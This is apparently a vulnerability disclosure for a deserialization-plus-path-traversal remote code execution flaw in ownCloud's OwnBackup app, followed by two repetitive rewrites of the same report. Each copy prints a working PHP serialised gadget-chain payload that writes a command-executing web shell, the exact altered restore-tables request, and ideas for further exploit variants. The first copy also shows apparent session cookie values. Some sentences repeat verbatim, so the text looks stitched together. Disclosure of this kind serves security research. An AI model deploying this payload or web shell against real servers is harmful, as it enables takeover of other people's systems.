Remote Code Execution through Deserialization Attack in OwnBackup app.
- Disclosed after 60 days
I found a deserialization vulnerability in the OwnBackup app, this vulnerability allows to execute remote code in the server.
An administrator user could install the vulnerable app, or take advantage of this vulnerability if the OwnBackup application is installed.
Below are the steps to properly exploit the deserialization vulnerability.
Step 1: Login in the Owncloud application as an administrator user.
Step 2: Install the OwnBackup app from the Marketplace.
Step 3: Go to Files and upload the following files to the server.
- structure.xml
<?xml version="1.0" ?>
<database><name>*dbname*</name><create>true</create><overwrite>false</overwrite><charset>utf8mb4</charset><table><name>oc_accounts</name><declaration><field><name>id</name><type>integer</type><default>0</default><notnull>true</notnull><autoincrement>1</autoincrement><unsigned>true</unsigned><length>8</length></field><field><name>email</name><type>text</type><default/><notnull>false</notnull><length>255</length></field><field><name>user_id</name><type>text</type><default/><notnull>true</notnull><length>255</length></field><field><name>lower_user_id</name><type>text</type><default/><notnull>true</notnull><length>255</length></field><field><name>display_name</name><type>text</type><default/><notnull>false</notnull><length>255</length></field><field><name>quota</name><type>text</type><default/><notnull>false</notnull><length>32</length></field><field><name>last_login</name><type>integer</type><default>0</default><notnull>true</notnull><length>4</length></field><field><name>backend</name><type>text</type><default/><notnull>true</notnull><length>64</length></field><field><name>home</name><type>text</type><default/><notnull>true</notnull><length>1024</length></field><field><name>state</name><type>integer</type><default>0</default><notnull>true</notnull><length>2</length></field><index><name>UNIQ_907AA303A76ED395</name><unique>true</unique><field><name>user_id</name><sorting>ascending</sorting></field></index><index><name>lower_user_id_index</name><unique>true</unique><field><name>lower_user_id</name><sorting>ascending</sorting></field></index><index><name>display_name_index</name><field><name>display_name</name><sorting>ascending</sorting></field></index><index><name>email_index</name><field><name>email</name><sorting>ascending</sorting></field></index></declaration></table></database>
- data.dump
O:33:"Swift_Transport_SendmailTransport":3:{s:10:"*_buffer";O:31:"Swift_ByteStream_FileByteStream":4:{s:38:"Swift_ByteStream_FileByteStream_path";s:14:"/tmp/pwned.php";s:38:"Swift_ByteStream_FileByteStream_mode";s:3:"w+b";s:56:"Swift_ByteStream_AbstractFilterableInputStream_filters";a:0:{}s:60:"Swift_ByteStream_AbstractFilterableInputStream_writeBuffer";s:57:"<?php system($_GET['exec']); ?> // [email protected]
//";}s:11:"*_started";b:1;s:19:"*_eventDispatcher";O:34:"Swift_Events_SimpleEventDispatcher":0:{}}
Step 4: Go to admin > Settings > Additional.
Step 5: In OwnBackup > Create Backup.
Step 6: Select the created backup and select any table to restore > Restore tables
Step 7: Capture the next request with the BurpSuite proxy.
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=u1b58qbra5g0lh2rujgofg2f77; oc_sessionPassphrase=hAgcALFZ%2FrAi6y%2BtM8KNRbpzscVNFLnPIi1tz6zPzRCyCjUoFpZd5xlZOejCE2zoN5Dz4io832pAeKlPu7grxmHVGflUFJ2hrE0xdnovBqxGgEQN7VC1i6GbEaHfW1NP; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=oc_accounts
And change the value of the parameter tables[] by the following path traversal.
../../admin/files
The modified request is left as follows.
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=u1b58qbra5g0lh2rujgofg2f77; oc_sessionPassphrase=hAgcALFZ%2FrAi6y%2BtM8KNRbpzscVNFLnPIi1tz6zPzRCyCjUoFpZd5xlZOejCE2zoN5Dz4io832pAeKlPu7grxmHVGflUFJ2hrE0xdnovBqxGgEQN7VC1i6GbEaHfW1NP; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=../../admin/files
The serialized payload within the data.dump file is intended to create the file pwned.php within the /tmp directory as a PoC. But the same file could be created within the web directory, to execute commands remotely.
Contents of the file pwned.php.
<?php system($_GET['exec']); ?> // [email protected]
Step 8: View the /tmp/pwned.php file created correctly.
Impact
An attacker could execute commands remotely on the server.
Context
OwnBackup is an ownCloud Marketplace app that lets an administrator create backups of the instance's database and restore individual tables from them. The backup is stored as a set of files that the app later reads back when a restore is requested. The restore flow is driven from the admin UI: the administrator picks a backup, picks one or more tables, and the browser sends a request to the app's restore-tables endpoint.
The report describes a deserialisation vulnerability in that app. The report describes a deserialisation vulnerability in that app, and the restore request is the step where the crafted file is read. Because the attacker controls both the path and the file contents, they can supply a crafted serialised object graph.
Setup
The preconditions are narrow and the report is explicit about them:
- The attacker needs administrator access to the ownCloud instance, or an administrator must install the vulnerable app.
- The OwnBackup app must be installed. It is installed from the Marketplace.
- The researcher uses Burp Suite as an intercepting proxy to capture and modify the restore request.
The proof of concept does not depend on a particular ownCloud version in the report; the request shown targets a local instance (Host: localhost) under the /owncloud path.
Finding it
The researcher found that the restore functionality takes the table names from the request parameter tables[] and uses them to locate the dump file to deserialise. That value is not constrained to real table names, so a path traversal sequence in tables[] redirects the app to a file the attacker uploaded through the normal Files feature. Since the app unserializes the file's contents, an uploaded file becomes an unserialize input under the attacker's control.
The gadget chain used in the PoC relies on classes from Swift Mailer, which is present in the ownCloud codebase. The chain is built around Swift_Transport_SendmailTransport, whose buffered stream is a Swift_ByteStream_FileByteStream configured to open /tmp/pwned.php in w+b mode. The serialised payload is intended to create /tmp/pwned.php as a proof of concept.
Exploitation
Step 1: Log in as administrator
Log in to the ownCloud application with an administrator account. The whole chain depends on this role, because installing apps and using OwnBackup are admin actions.
Step 2: Install OwnBackup
Install the OwnBackup app from the Marketplace. Without the app, the restore-tables endpoint does not exist.
Step 3: Upload the two files
Go to Files and upload two files to the server: structure.xml and data.dump.
structure.xml is one of the two files the researcher uploads through Files.
data.dump is the serialised payload. It is a Swift_Transport_SendmailTransport object whose buffer is a Swift_ByteStream_FileByteStream pointing at /tmp/pwned.php, opened in w+b mode, with the PHP code to be written as the write buffer.
O:33:"Swift_Transport_SendmailTransport":3:{s:10:"*_buffer";O:31:"Swift_ByteStream_FileByteStream":4:{s:38:"Swift_ByteStream_FileByteStream_path";s:14:"/tmp/pwned.php";s:38:"Swift_ByteStream_FileByteStream_mode";s:3:"w+b";s:56:"Swift_ByteStream_AbstractFilterableInputStream_filters";a:0:{}s:60:"Swift_ByteStream_AbstractFilterableInputStream_writeBuffer";s:57:"<?php system($_GET['exec']); ?> // [redacted]
//";}s:11:"*_started";b:1;s:19:"*_eventDispatcher";O:34:"Swift_Events_SimpleEventDispatcher":0:{}}
Step 4: Open the OwnBackup settings
Go to admin > Settings > Additional. This is where the OwnBackup panel lives.
Step 5: Create a backup
In OwnBackup > Create Backup, create a backup. This gives the restore flow a backup to work against.
Step 6: Start a table restore
Select the created backup, select any table to restore, and choose Restore tables. The browser will send the restore request.
Step 7: Capture and modify the request
Capture the request with Burp Suite. The original request looks like this:
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=[redacted]; oc_sessionPassphrase=[redacted]; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=oc_accounts
The body carries a timestamp and a single table name in tables[], URL-encoded as tables%5B%5D. The endpoint is /owncloud/index.php/apps/ownbackup/restore-tables.
Change the value of tables[] to the following path traversal:
../../admin/files
The modified request is:
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=[redacted]; oc_sessionPassphrase=[redacted]; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=../../admin/files
The traversal replaces the table name with the path ../../admin/files.
The same file could be created inside the web directory, which would let the attacker execute commands remotely through the web server. The contents of pwned.php are:
<?php system($_GET['exec']); ?> // [redacted]
Step 8: Confirm the file
View /tmp/pwned.php and confirm it was created correctly.
Root cause
The restore request takes the table name from tables[], and changing that value to a path traversal is what the researcher demonstrates. That allows a path traversal to any file the web server can read, including files the attacker uploaded through the normal Files feature.
The contents of that file are then passed to PHP's unserialize. Because the attacker controls the file, they control the serialised object graph. The payload is a Swift_Transport_SendmailTransport object whose buffer is a Swift_ByteStream_FileByteStream pointing at /tmp/pwned.php in w+b mode. The report does not show the exact code of the endpoint, so the precise ordering of the read and the unserialize call is likely as described above but is not quoted.
Impact
An attacker could execute commands remotely on the server. The PoC writes a PHP file to /tmp; writing it into the web directory instead would make the payload reachable over HTTP and give remote code execution. The report frames the requirement as administrator access, or an administrator installing the vulnerable app.
Fix
The report does not describe a fix or a patch. The obvious direction, given the root cause, is to stop deriving the dump path from the tables[] value: validate table names against the known schema, resolve the file path inside the backup directory only, and avoid unserializing data that came from a user-writable location. Whether any of this was implemented is not stated in the report.
Variants to test
- Try other traversal depths and encodings in
tables[](for example..%2f..%2f, double encoding, or absolute paths) against the same endpoint. A positive result is the app reading a file outside the backup directory, visible as a different error or as the payload being processed. - Upload the dump under a different user's Files directory and traverse to it. A positive result is the same deserialisation behaviour from a non-admin upload path.
- Look for other endpoints in the app that accept a file name or table name and pass the contents to unserialize. A positive result is a request that triggers object instantiation from an uploaded file.
- Test other gadget chains available in the ownCloud codebase, not only Swift Mailer. A positive result is any chain that writes a file or executes a command during unserialize.
- Check whether the written file can land in a web-served directory rather than
/tmp. A positive result is a request to the written PHP file returning command output.
What happened, in plain words
A security researcher found a way to make an ownCloud server run code that an attacker chooses. The trick lives in an add-on app called OwnBackup, which administrators install from the ownCloud Marketplace. OwnBackup makes copies of the server's database and can put individual tables back from those copies. The researcher showed that the part of the app that puts tables back can be pointed at a path of the attacker's choosing. Those instructions make the server write a small PHP program to disk. If that program is placed where the web server can reach it, anyone can call it and run commands on the machine.
The report is written for people who already know their way around web requests. This version starts from zero. If you can use a browser and a computer, you can follow it.
A few words come up constantly, so here they are up front.
- ownCloud is a product for storing and sharing files on a server you control, a bit like running your own private file-sharing site. People log in with a username and password and see their files in a web page.
- An app (or add-on) is an extra piece of software that plugs into ownCloud to add a feature. ownCloud has a Marketplace, which is a catalogue of these apps, and an administrator can install one with a few clicks.
- OwnBackup is one of those apps. It makes backup copies of the ownCloud database and can restore single tables from a backup.
- A database is the organised store where a website keeps its records: user accounts, file names, settings. It is made of tables, which are like spreadsheets, each with rows and columns.
- A backup is a saved copy of that data, kept so it can be brought back if something goes wrong.
- A restore is the act of putting data from a backup back into the database.
- A server is the computer that runs the website. When you click something, your browser sends a message to the server, and the server sends back a page or some data.
- A request is that message from your browser to the server. It has a method (like
POST, meaning "here is some data for you"), a path (which part of the site you are talking to), headers (extra labels, such as what kind of data you are sending), and a body (the actual data). - An endpoint is one specific address on the server that accepts requests, for example the address that handles a restore.
- An API is a set of such addresses that a program, rather than a person clicking, is meant to talk to. Think of it as a service counter: you hand over a form at a named window and get an answer back.
- A cookie is a small piece of text your browser stores for a website and sends back with every request. It is how the server recognises that you are already logged in. A session cookie is the one that carries your login.
- A token is a short secret value, similar in spirit to a cookie, that proves a request is allowed. Some sites put it in a hidden form field or a header to stop other websites from forging requests in your name.
- A proxy is a program that sits between your browser and the server, so you can look at and change the messages going each way. Burp Suite is a well-known proxy of this kind, used by security testers.
- A path is the address of a file on the server's disk, like
/tmp/pwned.php. Path traversal means putting../in a path to climb up out of the folder the program intended and reach somewhere else. On a computer,../means "go up one folder". - Serialisation is turning a live object in a program into a line of text so it can be saved or sent. Deserialisation is turning that text back into a live object. Unserialize is the name of the PHP function that does the turning back.
- PHP is the programming language ownCloud is written in. A PHP file is a text file that the web server can run as a program when someone requests it.
- Remote code execution means an attacker gets their own code to run on someone else's server, over the network, without sitting at the machine.
With those in hand, here is the story.
Context
OwnBackup is an app from the ownCloud Marketplace. An administrator uses it to make backups of the instance's database and to restore individual tables from those backups. The backup is stored as a set of files, and the app reads those files back when a restore is asked for. The restore is driven from the admin screens: the administrator picks a backup, picks one or more tables, and the browser sends a request to the app's restore-tables endpoint.
The report describes a deserialisation vulnerability in that app. The report describes a deserialisation vulnerability in that app, reached through the restore request. Because the attacker controls both the path and the file contents, they can supply a crafted serialised object.
A class is a blueprint in a program that describes an object: what data it holds and what it can do. An object is one working copy made from that blueprint. When PHP unserializes text, it rebuilds objects from those blueprints. Some classes have special methods that run automatically at certain moments, for example when an object is created or used. A gadget chain is a sequence of such objects, chosen so that rebuilding them causes the program to do something the attacker wants, using only classes that are already present on the server. It is like arranging dominoes that are already on the table: you do not add new pieces, you just pick an order that makes them fall.
Setup
The conditions for the attack are narrow, and the report is explicit about them:
- The attacker needs administrator access to the ownCloud instance, or an administrator has to install the vulnerable app.
- The OwnBackup app must be installed. It is installed from the Marketplace.
- The researcher uses Burp Suite as an intercepting proxy to capture and modify the restore request.
The proof of concept does not depend on a particular ownCloud version in the report. The request shown targets a local instance (Host: localhost) under the /owncloud path.
Host: localhost is simply the name of the machine being addressed. localhost means "this same computer", so the researcher was testing on a server running on their own machine.
Finding it
The researcher found that the restore feature takes the table names from the request parameter tables[] and uses them to locate the dump file that it will deserialise. A parameter is one named value inside a request, like a field on a form. The name tables[] with square brackets is PHP's way of saying "this parameter can hold a list of values".
The value is not checked against real table names, so a path traversal sequence in tables[] redirects the app to a file the attacker uploaded through the normal Files feature. Since the app unserializes the contents of that file, an uploaded file becomes unserialize input under the attacker's control.
The gadget chain used in the proof of concept relies on classes from Swift Mailer, a library for sending email that is present in the ownCloud codebase. The chain is built around Swift_Transport_SendmailTransport, whose buffered stream is a Swift_ByteStream_FileByteStream set to open /tmp/pwned.php in w+b mode. The serialised payload is intended to create /tmp/pwned.php as a proof of concept.
w+b is a file-opening mode: it means "open for reading and writing, create the file if it does not exist, and start from the beginning". /tmp is a scratch folder on Unix-like systems where programs keep temporary files.
Exploitation
Step 1: Log in as administrator
Log in to the ownCloud application with an administrator account. The whole chain depends on this role, because installing apps and using OwnBackup are admin actions. An ordinary user cannot reach the screens involved.
Step 2: Install OwnBackup
Install the OwnBackup app from the Marketplace. Without the app, the restore-tables endpoint does not exist. This is like needing a particular shop to be open before you can walk up to its counter.
Step 3: Upload the two files
Go to Files and upload two files to the server: structure.xml and data.dump. Files is the normal file manager in ownCloud, the same place where any user uploads documents.
structure.xml is one of the two files the researcher uploads through Files. A schema is the description of a table: which columns it has, what type each column holds, and which rules apply.
<?xml version="1.0" ?>
<database><name>*dbname*</name><create>true</create><overwrite>false</overwrite><charset>utf8mb4</charset><table><name>oc_accounts</name><declaration><field><name>id</name><type>integer</type><default>0</default><notnull>true</notnull><autoincrement>1</autoincrement><unsigned>true</unsigned><length>8</length></field><field><name>email</name><type>text</type><default/><notnull>false</notnull><length>255</length></field><field><name>user_id</name><type>text</type><default/><notnull>true</notnull><length>255</length></field><field><name>lower_user_id</name><type>text</type><default/><notnull>true</notnull><length>255</length></field><field><name>display_name</name><type>text</type><default/><notnull>false</notnull><length>255</length></field><field><name>quota</name><type>text</type><default/><notnull>false</notnull><length>32</length></field><field><name>last_login</name><type>integer</type><default>0</default><notnull>true</notnull><length>4</length></field><field><name>backend</name><type>text</type><default/><notnull>true</notnull><length>64</length></field><field><name>home</name><type>text</type><default/><notnull>true</notnull><length>1024</length></field><field><name>state</name><type>integer</type><default>0</default><notnull>true</notnull><length>2</length></field><index><name>UNIQ_907AA303A76ED395</name><unique>true</unique><field><name>user_id</name><sorting>ascending</sorting></field></index><index><name>lower_user_id_index</name><unique>true</unique><field><name>lower_user_id</name><sorting>ascending</sorting></field></index><index><name>display_name_index</name><field><name>display_name</name><sorting>ascending</sorting></field></index><index><name>email_index</name><field><name>email</name><sorting>ascending</sorting></field></index></declaration></table></database>
Line by line, in plain words:
<?xml version="1.0" ?>says this is an XML document. XML is a text format for structured data, where things are wrapped in tags like<name>...</name>.<database>opens the description of a database.<name>*dbname*</name>is a placeholder for the database name, and<create>true</create>says the database may be created if needed.<overwrite>false</overwrite>says do not overwrite existing data.<charset>utf8mb4</charset>sets the character encoding, which is how text characters are stored.<table><name>oc_accounts</name>starts the description of one table calledoc_accounts, which is where ownCloud keeps user account records.<declaration>opens the list of columns. Each<field>describes one column: its<name>, its<type>(such asintegerfor whole numbers ortextfor words), a<default>value, whether it may be empty (<notnull>), whether it counts up by itself (<autoincrement>), whether it is unsigned (no negative numbers), and its maximum<length>.- The
<index>entries describe lookup aids on columns such asuser_id,lower_user_id,display_nameandemail. An index is like the index at the back of a book: it makes finding rows by that column faster.<unique>true</unique>means no two rows may share the same value in that column. - The closing tags
</declaration></table></database>simply end the sections that were opened.
data.dump is the serialised payload. It is a Swift_Transport_SendmailTransport object whose buffer is a Swift_ByteStream_FileByteStream pointing at /tmp/pwned.php, opened in w+b mode, with the PHP code to be written as the write buffer.
O:33:"Swift_Transport_SendmailTransport":3:{s:10:"*_buffer";O:31:"Swift_ByteStream_FileByteStream":4:{s:38:"Swift_ByteStream_FileByteStream_path";s:14:"/tmp/pwned.php";s:38:"Swift_ByteStream_FileByteStream_mode";s:3:"w+b";s:56:"Swift_ByteStream_AbstractFilterableInputStream_filters";a:0:{}s:60:"Swift_ByteStream_AbstractFilterableInputStream_writeBuffer";s:57:"<?php system($_GET['exec']); ?> // [redacted]
//";}s:11:"*_started";b:1;s:19:"*_eventDispatcher";O:34:"Swift_Events_SimpleEventDispatcher":0:{}}
This line looks like noise, so here is how to read it. PHP's serialised format is a compact notation where each piece starts with a letter and a length.
O:33:"Swift_Transport_SendmailTransport":3:{...}means "an object (O) of a class whose name is 33 characters long,Swift_Transport_SendmailTransport, with 3 properties inside the braces".s:10:"*_buffer"is a string (s) of 10 characters, the property name*_buffer. The asterisk marks a property that is protected inside the class. Its value is the next object.O:31:"Swift_ByteStream_FileByteStream":4:{...}is a second object, of classSwift_ByteStream_FileByteStream, with 4 properties. This is the object that knows how to write to a file.s:38:"Swift_ByteStream_FileByteStream_path";s:14:"/tmp/pwned.php"sets that object's path property to/tmp/pwned.php, the file that will be written.s:38:"Swift_ByteStream_FileByteStream_mode";s:3:"w+b"sets the mode tow+b, so the file is opened for writing and created if missing.s:56:"Swift_ByteStream_AbstractFilterableInputStream_filters";a:0:{}sets the filters to an empty array (a:0means zero items). Filters would transform data on the way through; here there are none.s:60:"Swift_ByteStream_AbstractFilterableInputStream_writeBuffer";s:57:"<?php system($_GET['exec']); ?> // [redacted]\n//"puts the PHP code into the write buffer, the holding area whose contents get written to the file. Thes:57says the string is 57 characters long, and the text is exactly that many characters including the line break and the final//.s:11:"*_started";b:1sets a protected property_startedto boolean true (b:1).s:19:"*_eventDispatcher";O:34:"Swift_Events_SimpleEventDispatcher":0:{}sets a protected property to a third object, of classSwift_Events_SimpleEventDispatcher, with no properties of its own.
The PHP code inside the buffer is <?php system($_GET['exec']); ?>. In PHP, <?php ... ?> marks a block of code. system(...) runs a command on the operating system and prints the output. $_GET['exec'] reads a value named exec from the address bar of whoever requests the page. So the written file, once requested, runs whatever command is passed in the exec part of the URL. The // after it starts a comment, so the leftover serialised text that follows is ignored by PHP and the file stays valid.
Step 4: Open the OwnBackup settings
Go to admin > Settings > Additional. This is where the OwnBackup panel lives. The admin area is the control room of the site, and Additional is the section where extra apps put their settings screens.
Step 5: Create a backup
In OwnBackup > Create Backup, create a backup. This gives the restore flow a backup to work against. Without a backup, there is nothing to restore from, and the app would have no reason to read a dump file.
Step 6: Start a table restore
Select the created backup, select any table to restore, and choose Restore tables. The browser will send the restore request. At this point you are doing exactly what a normal administrator does; the next step is where the request gets changed.
Step 7: Capture and modify the request
Capture the request with Burp Suite. The original request looks like this:
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=[redacted]; oc_sessionPassphrase=[redacted]; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=oc_accounts
Line by line:
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1is the first line of the request.POSTis the method, used when sending data. The path points at the restore endpoint of the OwnBackup app inside an ownCloud installation that lives under/owncloud.HTTP/1.1is the version of the web protocol being spoken.Host: localhostnames the server being contacted.User-Agent: ...tells the server which browser and operating system sent the request. Here it is Firefox on Ubuntu Linux.Accept: */*says the browser will accept any kind of response.Accept-Language: ...lists preferred languages, andAccept-Encoding: gzip, deflatesays compressed responses are fine.Content-Type: application/x-www-form-urlencoded; charset=UTF-8says the body is a form, encoded asname=valuepairs joined by&, in UTF-8 text.requesttoken:is a header for the anti-forgery token. It is empty in this capture.OCS-APIREQUEST: truemarks the request as an API call.X-Requested-With: XMLHttpRequestmarks it as coming from JavaScript in the page rather than a full page load.Content-Length: 45says the body is 45 bytes long.Cookie: ...carries the cookies the browser holds for this site. The session cookie and the session passphrase are redacted here because they are login secrets. The other entries are leftovers from other software on the same machine, such as a file manager and a bug tracker; they are not needed for the attack.Connection: closeasks the server to close the connection after answering.- The blank line separates headers from the body.
timestamp=1555661563&tables%5B%5D=oc_accountsis the body.timestampis a number representing a moment in time.tables%5B%5Dis the URL-encoded form oftables[]:%5Bis[and%5Dis]. Its value isoc_accounts, the table being restored.
Change the value of tables[] to the following path traversal:
../../admin/files
Each ../ climbs up one folder. Starting from wherever the app keeps its backup files, two climbs and then admin/files land in the Files area of the admin user, which is where the uploaded data.dump sits.
The modified request is:
POST /owncloud/index.php/apps/ownbackup/restore-tables HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 45
Cookie: ocyqfze0wn1b=[redacted]; oc_sessionPassphrase=[redacted]; shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; MANTIS_MANAGE_CONFIG_COOKIE=0%3A0%3A-2; MANTIS_PROJECT_COOKIE=5
Connection: close
timestamp=1555661563&tables%5B%5D=../../admin/files
Everything is the same as before except the last value: tables%5B%5D=../../admin/files. The traversal replaces the table name with the path ../../admin/files.
The same file could be created inside the web directory, which would let the attacker execute commands remotely through the web server. The web directory is the folder the web server serves pages from; a file placed there can be requested in a browser. The contents of pwned.php are:
<?php system($_GET['exec']); ?> // [redacted]
This is the same line that was inside the serialised payload. <?php opens a PHP block, system($_GET['exec']) runs the command named in the exec part of the URL and prints the result, ?> closes the block, and // turns the rest into a comment.
Step 8: Confirm the file
View /tmp/pwned.php and confirm it was created correctly. Seeing the file there confirms the payload was written to disk.
Root cause
The restore request takes the table name from tables[], and changing that value to a path traversal is what the researcher demonstrates. That allows a path traversal to any file the web server can read, including files the attacker uploaded through the normal Files feature.
The contents of that file are then passed to PHP's unserialize. Because the attacker controls the file, they control the serialised object. The payload is a Swift_Transport_SendmailTransport object whose buffer is a Swift_ByteStream_FileByteStream pointing at /tmp/pwned.php in w+b mode. The report does not show the exact code of the endpoint, so the precise ordering of the read and the unserialize call is likely as described above but is not quoted.
In everyday terms, two mistakes combine. First, the app trusts a name typed by the user to decide which file to open, so the user can point it anywhere. Second, the app treats whatever it finds in that file as trusted program instructions. Either mistake alone is a problem; together they let an uploaded file become code that runs on the server.
Impact
An attacker could execute commands remotely on the server. The proof of concept writes a PHP file to /tmp; writing it into the web directory instead would make the payload reachable over HTTP and give remote code execution. The report frames the requirement as administrator access, or an administrator installing the vulnerable app.
Fix
The report does not describe a fix or a patch. The obvious direction, given the root cause, is to stop deriving the dump path from the tables[] value: validate table names against the known schema, resolve the file path inside the backup directory only, and avoid unserializing data that came from a user-writable location. Whether any of this was implemented is not stated in the report.
Variants to test
- Try other traversal depths and encodings in
tables[](for example..%2f..%2f, double encoding, or absolute paths) against the same endpoint. A positive result is the app reading a file outside the backup directory, visible as a different error or as the payload being processed.%2fis the URL encoding of the/character, so..%2f..%2fis another way of writing../../. - Upload the dump under a different user's Files directory and traverse to it. A positive result is the same deserialisation behaviour from a non-admin upload path.
- Look for other endpoints in the app that accept a file name or table name and pass the contents to unserialize. A positive result is a request that triggers object creation from an uploaded file.
- Test other gadget chains available in the ownCloud codebase, not only Swift Mailer. A positive result is any chain that writes a file or executes a command during unserialize.
- Check whether the written file can land in a web-served directory rather than
/tmp. A positive result is a request to the written PHP file returning command output.
Glossary
- API: a set of addresses on a server that programs talk to, rather than pages people click.
- Array: an ordered collection of values in a program, like a numbered list.
- Backup: a saved copy of data, kept so it can be brought back later.
- Boolean: a value that is either true or false.
- Burp Suite: a program that sits between a browser and a server so requests can be inspected and changed.
- Class: a blueprint in a program describing what an object holds and can do.
- Cookie: a small piece of text a browser stores for a site and sends back with each request, used to remember who you are.
- Database: an organised store of records, made of tables.
- Deserialisation: turning saved text back into a live object in a program.
- Endpoint: one specific address on a server that accepts requests.
- Gadget chain: a sequence of existing objects that, when rebuilt, makes a program do something the attacker wants.
- Header: an extra label on a request or response, such as the type of data being sent.
- Index: a lookup aid on a database column that makes finding rows faster.
- localhost: the name meaning "this same computer".
- Object: one working copy made from a class blueprint.
- OwnBackup: an ownCloud Marketplace app that backs up the database and restores individual tables.
- ownCloud: software for running your own private file storage and sharing site on a server.
- Parameter: one named value inside a request, like a field on a form.
- Path: the address of a file on a disk.
- Path traversal: putting
../in a path to climb out of the intended folder and reach another one. - PHP: the programming language ownCloud is written in; PHP files can be run by a web server.
- POST: a request method used when sending data to a server.
- Proxy: a program between browser and server that can view and alter traffic.
- Remote code execution: getting your own code to run on someone else's server over the network.
- Request: the message a browser sends to a server asking for something or sending data.
- Restore: putting data from a backup back into the database.
- Schema: the description of a database table: its columns, types and rules.
- Serialisation: turning a live object into text so it can be saved or sent.
- Server: the computer that runs a website and answers requests.
- Session cookie: the cookie that carries your logged-in state.
- String: a piece of text in a program.
